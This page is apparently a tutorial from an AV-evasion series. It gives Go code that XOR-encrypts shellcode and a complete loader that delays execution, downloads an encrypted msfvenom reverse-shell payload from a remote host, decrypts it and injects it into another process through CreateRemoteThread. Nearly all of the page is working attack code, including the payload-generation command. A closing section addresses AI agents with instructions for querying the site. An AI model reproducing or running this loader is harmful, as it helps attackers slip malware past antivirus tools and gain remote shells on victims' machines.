# 4. XOR Encryption

Another technique frequently used is to download an encrypted payload and decrypt it at runtime. There are various of ways of encrypting a payload. Some examples below:

* [AES](https://pkg.go.dev/crypto/aes)
* [RSA ](https://pkg.go.dev/crypto/rsa)
* [SystemFunction032](https://doxygen.reactos.org/df/d13/sysfunc_8c.html#a66d55017b8625d505bd6c5707bdb9725)

Although these are probably better at encrypting our payload I found XOR encryption to be sufficient most times. Let's write a quick encryption code that takes our shellcode file as an argument and writes a copy of the encrypted file.

### Encryption

{% code title="main.go" lineNumbers="true" %}

```go
package main

import (
	"fmt"
	"log"
	"os"
)

func main() {
	key := byte(0x9A)

	if len(os.Args) < 2 {
		fmt.Println("Usage: encrypt <path>")
		os.Exit(1)
	}

	// Get the path from the command line argument
	path := os.Args[1]

	_, err := os.Stat(path)
	if err != nil {
		log.Fatalf("[FATAL] File %s doesn't exist", path)
	}
	fmt.Println("[+] Reading bytes of shellcode")
	// Read the entire file into a byte slice
	fileData, err := os.ReadFile(path)
	if err != nil {
		log.Fatalf("[FATAL] Error reading file:", err)
	}

	// Encrypt data and add to encryptedData 
	encryptedData := make([]byte, len(fileData))
	fmt.Println("[+] Encrypting bytes of shellcode")

	for i := 0; i < len(encryptedData); i++ {
		encryptedData[i] = fileData[i] ^ key
	}
	fmt.Printf("[+] Writing encoded bytes at %s", path+"_ENC")

	// Write encryptedData to file
	os.WriteFile(path+"_ENC", encryptedData, 0644)
}

```

{% endcode %}

* Lines 10 - 23: Check if the argument was passed to our program and if the file actually exists. If not the program terminates.
* Lines 24-30: Reads the contents of the file in the 'fileData' byte slice
* Lines 31-36: Creates a new byte slice called encryptedData, then loops through the contents of fileData and XORs them with the key provided on line 10 and adds the data in encryptedData.
* Lines 37-39: Writes the contents of the encrytedData and outputs the file at the same directory with "\_ENC" appended at the end of the filename

### Decrypt&#x20;

The same code can be reused in our shellcode injection code to decrypt the payload.

```go
	//Decrypt
	fmt.Println("[+] Decrypting Encrypted Data")
	key := byte(0x9A)
	sc := make([]byte, len(encryptedData))
	for i := 0; i < len(encryptedData); i++ {
		sc[i] = encryptedData[i] ^ key
	}
```

### Complete Code

```go
package main

import (
	"fmt"
	"io"
	"log"
	"net/http"
	"syscall"
	"time"
	"unsafe"

	"golang.org/x/sys/windows"
)

func main() {
	// Sleep for 10 seconds
	var t0, t1 time.Time
	fmt.Println("[+] Sleeping for 10 Seconds")
	t0 = time.Now()
	for {
		t1 = time.Now()
		diff := t1.Sub(t0)

		if diff.Seconds() > 10 {
			break
		}

	}

	fmt.Println("[+] Woke Up ... Execution Continues")

	pid := uint32(22040)
	PROCESS_ALL_ACCESS := windows.STANDARD_RIGHTS_REQUIRED | windows.SYNCHRONIZE | 0xFFFF

	//msfvenom  -f raw -p windows/x64/shell_reverse_tcp LHOST=192.168.217.128 LPORT=443 -o shcode.malic
	//encrypted payload using our go encrypter

	fmt.Println("[+] Downloading Encrypted Data")
	encryptedData, err := wget("http://192.168.217.128/shcode.malic_ENC")
	if err != nil {
		log.Fatalf("[FATAL] Unable to connect to the host %v ", err)
	}

	//Decrypt
	fmt.Println("[+] Decrypting Encrypted Data")
	key := byte(0x9A)
	sc := make([]byte, len(encryptedData))
	for i := 0; i < len(encryptedData); i++ {
		sc[i] = encryptedData[i] ^ key
	}

	fmt.Printf("[+] Getting a handle on process with pid: %d\n", pid)
	pHandle, err := windows.OpenProcess(uint32(PROCESS_ALL_ACCESS), false, pid)
	if err != nil {
		log.Fatalf("[FATAL] Unable to get a handle on process with id: %d : %v ", pid, err)
	}

	fmt.Printf("[+] Obtained a handle 0x%x on process with ID: %d\n", pHandle, pid)

	modKernel32 := syscall.NewLazyDLL("kernel32.dll")
	procVirtualAllocEx := modKernel32.NewProc("VirtualAllocEx")

	addr, _, lastErr := procVirtualAllocEx.Call(
		uintptr(pHandle),
		uintptr(0),
		uintptr(len(sc)),
		uintptr(windows.MEM_COMMIT|windows.MEM_RESERVE),
		uintptr(windows.PAGE_READWRITE))

	if addr == 0 {
		log.Fatalf("[FATAL] VirtualAlloc Failed: %v\n", lastErr)
	}

	fmt.Printf("[+] Allocated Memory Address: 0x%x\n", addr)
	var numberOfBytesWritten uintptr
	err = windows.WriteProcessMemory(pHandle, addr, &sc[0], uintptr(len(sc)), &numberOfBytesWritten)
	if err != nil {
		log.Fatalf("[FATAL] Unable to write shellcode to the the allocated address")
	}
	fmt.Printf("[+] Wrote %d/%d bytes to destination address\n", numberOfBytesWritten, len(sc))

	var oldProtect uint32
	err = windows.VirtualProtectEx(pHandle, addr, uintptr(len(sc)), windows.PAGE_EXECUTE_READ, &oldProtect)

	if err != nil {
		log.Fatalf("[FATAL] VirtualProtect Failed: %v", err)
	}

	procCreateRemoteThread := modKernel32.NewProc("CreateRemoteThread")
	var threadId uint32 = 0
	tHandle, _, lastErr := procCreateRemoteThread.Call(
		uintptr(pHandle),
		uintptr(0),
		uintptr(0),
		addr,
		uintptr(0),
		uintptr(0),
		uintptr(unsafe.Pointer(&threadId)),
	)
	if tHandle == 0 {
		log.Fatalf("[FATAL] Unable to Create Remote Thread: %v \n", lastErr)
	}

	fmt.Printf("[+] Handle of newly created thread:  0x%x \n[+] Thread ID: %d\n", tHandle, threadId)
	//windows.WaitForSingleObject(windows.Handle(tHandle), windows.INFINITE)
}
func wget(url string) ([]byte, error) {
	resp, err := http.Get(url)

	if err != nil {
		return []byte{}, err
	}

	defer resp.Body.Close()

	body, err := io.ReadAll(resp.Body)

	if err != nil {
		return []byte{}, err
	}
	return body, nil
}

```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.scriptchildie.com/evasion/av-bypass/4.-xor-encryption.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
